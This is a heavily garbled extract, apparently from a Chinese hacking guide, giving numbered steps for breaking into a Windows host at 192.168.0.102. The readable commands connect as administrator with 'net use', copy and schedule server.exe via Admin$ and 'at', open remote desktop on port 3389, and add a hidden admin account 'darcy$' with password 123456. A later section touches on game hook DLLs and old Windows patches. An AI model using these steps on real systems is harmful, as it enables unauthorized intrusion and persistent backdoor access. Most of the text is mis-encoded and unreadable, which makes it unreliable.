ऺēుӾ192.168.0.102ԅAdministratorဈ ܜੁ৲นࣂd

Step 2 ರဈN e t u s e ੡গॕࠄӾંγᅖݯd

೛దn e t u s e \\192.168.0.102 qr/

user:qadministratorrēუّ੡গԅᆴဈ

࡜ζವဈadministratorუّဈܜԈৃӾ 192.168.0.102უ൛ݯdఢڴੁ৲ჾ௲ē ݖඔವq੡গюٟ෻юr໰๯d

Step 3 ॕࠄંγᅖݯюٟ܊ēࢶྻАࢡྡྷຏં

γ ᅖ ݯ ԅ ನ ޷ ē ֺ ά ܊ ੋ ڋ ઁ ৴ d ೛ దġNet time \\192.168.0.102ē੡গ෻ю

܊ēݖֲݍંγᅖݯӲ஍ԅຂහನ޷d

Tufq!6!ኴႜฉدڦఢக

Tufq!7!ٶਸਜ਼ࢽ܋৊ႜ૶থ

Tufq!8!ฉد449:܋੨ਸഔ߾ਏ

Tufq!9!ufmofuڟణՔዷऐ

Step 8 Ӧݬᅖ࠘ੋ౨ԅqTelnetr̟૆ēӰѻғ ࣇēუζವဈTelnetॕࠄӾંγᅖݯd

Tufq!:!!ਸഔ!449:!܋੨ Tufq!5!ฉدఢக

Step 4 ౨ Ҏ ઁ ৴ Ӿ ં γ ᅖ ݯ ē ఢ ෍ ൎ ವ ē ೛ దġc o p y s e r v e r.e x e \\192.168.0.102\

Admin$ēఢڴ౨Ҏюٟēݖඔವqྸ؏

ᄥ1ّำߑr໰๯d

Step 5 ኴ ႜ ฉ د ڦ ఢ க ǈ ૧ ᆩ ǖ a t

\\192.168.0.102 15:15 server.exeంସǈ՗

๖ሞ15:15ኄ้߲क़ࣷኴႜserver.exeኄ߲

ײႾă

Step 6 Ӳઁ৴ၽંγᅖݯᄓ໻܊ē࡜ࢶྻӕࢗ

݇ ن ᆐ ࢺ ܜ ժ ё ༝ ࣿ ॕ ࠄ ē Ӧ ݬ q ච

ަᅖݯr̟૆ē೛దંγᅖݯԅIPރժ ࣇē௶܊ඔವqॕࠄюٟr໰๯d

Step 7 ౨Ҏ3389ժࣇࢗ୳ٝ࡮d༪ᄯંγᅖݯ ԅC૭ēဗݬ೪γēၽӰѻԅࣙࠎϲӦ ᄯ༪႔q౨Ҏำߑݧำߑޣr੡গēӰ ѻq౨Ҏำߑrճܥࣟē༪႔ྑ౨Ҏԅ 3389ٝ࡮d

Tufq!21!ཁेᅃ߲ᆩࢽ

Tufq!22!ֱੂణՔዷऐڦ৊ײतޜခ

Tufq!23!ኴႜ಼ت૙࿔ॲ

Tufq!24!૧ᆩᇺײጞ௬૶থణՔዷऐ

Step 13 ॆဈXPᆑӛԅqၙёᅽੋॕࠄrё༝ē

ॕࠄંγᅖݯd Step 9 ࢗ୳3389ժࣇdၮ໻3389ё༝ē೛దġ

3389 –o 3389ēωய൑ࢶྻ޿Љѻંγ ᅖݯԅຂහफ໸d

Step 10 Step 10 ච ަ ྡྷ ّ ဈ ܜ ē ω ய ̼ ൑ ඔ ಖ น ڕ स ၔ ᆦ ē უ ྂ ࡜ ࢶ ྻ ၙ ё ဈ უ

ّ ჌ ۜ Ԉ ৃ ē ω ய ࿺ ပ ڕ स ၔ ௣ ຫ d

೛దġnet user darcy$ 123456 /addēnet localgroup administrators darcy$ /addēუ ०ّ੡গԅᆴဈ࡜ಾၽંγᅖݯ౨໭ߙ

ྡྷّဈܜ੠นdarcy$ēੁ৲น123456d

Step 11 Tasklist/SVC >>c:\test.txtēუّ੡গಾഊ ੜၽC૭ຏಓюtest.txtำߑdࠄຏࣿАࢡ Ӳ஍ᅖݯჾၽၮ໻ԅࠩёރ׻๠੠ыd

Step 12 ᄓ໻ٝ࡮ͧᄯԅ1.batଛ҉सำߑē̼ᄴ ժ׻๠ᄷ໭୳Վē࿙นXP੯ఊᄚટྡྷّ

ဈܜԈৃē̼ᄴժ׻๠ำߑ඙ܰ܊ē࡜

ࢶྻഀဈܜලನԈৃXPຂහd

ኄᄣǈే৽ൽڥକኄ໼ऐጱڦਨܔ඄၌ǈ৽

੗ᅜၟ֡ፕԨںऺ໙ऐᅃᄣઠ֡ፕణՔዷऐă

๮߾ൣأࣨߧጱժփవǈዘᄲڦ๟ՂႷۮڥ

໲ڦሏႜᇱ૙ă

˄˅♄向ᄤⱘ᠟ᎹẔ⌟

ᆯᇀࣨߧጱથপକAPIۙᆩǈሞኟ׉ఇ๕ူ

ޜခ܋ײႾ࿔ॲࢅ໲ጀ֩ڦޜခၜ਩ԥᆆ֠ǈᄺ

৽๟ຫేन๑ยዃକĐ၂๖໯ᆶᆆ֠࿔ॲđᄺੂ

փڟ໲்ăُྔǈࣨߧጱޜခ܋ڦ࿔ॲఁᄺ๟੗

ᅜጲۨᅭڦǈኄۼߴ๮߾ॠ֪ټઠକᅃۨڦઓ వă

ঞ ే ᅃ ቲ ൫ӾqTasklistr੡গ,࡜ϢԄϢඔ Ӿ൑ԅ৖ಓ༁ԝqTaskkillr੡গ,ڄ

੠഑࿌,൑ಾဈࣿڑԵࠩёԅd

ঢ়ࡗኄबօ֡ፕएԨ৽੗ᅜඓۨኄၵ࿔ॲ

Ɨ ൣأࣨߧጱڦޜခǄ2000ǋXPဣཥǅǖ

Step 1 ӕ ࢗ ᅟ Ј ζ Ω ހ ୶ ď Ӧ ݬ q ࢗ ಳ r

Step 3 ౗҂ჼّGame_Serverົd Ƙ ෸أࣨߧጱײႾ࿔ॲ

ႎࢅService packǅǈഄዐMS04-011ĂMS04-012Ă M S04-013ĂM S03-001ĂM S03-007ĂM S03-049Ă MS04-032ڪۼԥթ۾࠽ݘ૧ᆩǈ๟ݥ׉Ղᄲڦց

Step 2 ٶਸWindowsڦĐ໇໭࿔ॲđǈ࿔ॲఁ

׬๼෇Đ_h o o k.d l lđǈ໇໭࿋ዃ჋ስ WindowsڦҾጎణ୤ă

Step 3 ঢ়ࡗ໇໭ǈሞWindowsణ୤ǄփԈࡤጱ ణ୤ǅူ݀၄କᅃ߲ఁྺGame_Hook.dll ڦ࿔ॲă

Step 4 ߵ਍ࣨߧጱᇱ૙ݴဆኪڢǈසࡕGame_

Hook.DLL๟ࣨߧጱڦ࿔ॲǈሶሞ֡ፕဣ

Wi ndo wsഔۯࣃ௬മǈӀူF8॰Ǆईኁሞഔۯऺ

໙ऐ้ӀዿCtrl॰փݣǅǈሞ؜၄ڦഔۯ჋ၜ֓ڇ ዐǈ჋ስĐSafe ModeđईĐҾඇఇ๕đă

在文檔中 1.3 ࢒ਜ਼׉ᆩంସ ččččččččč 6 (頁 84-114)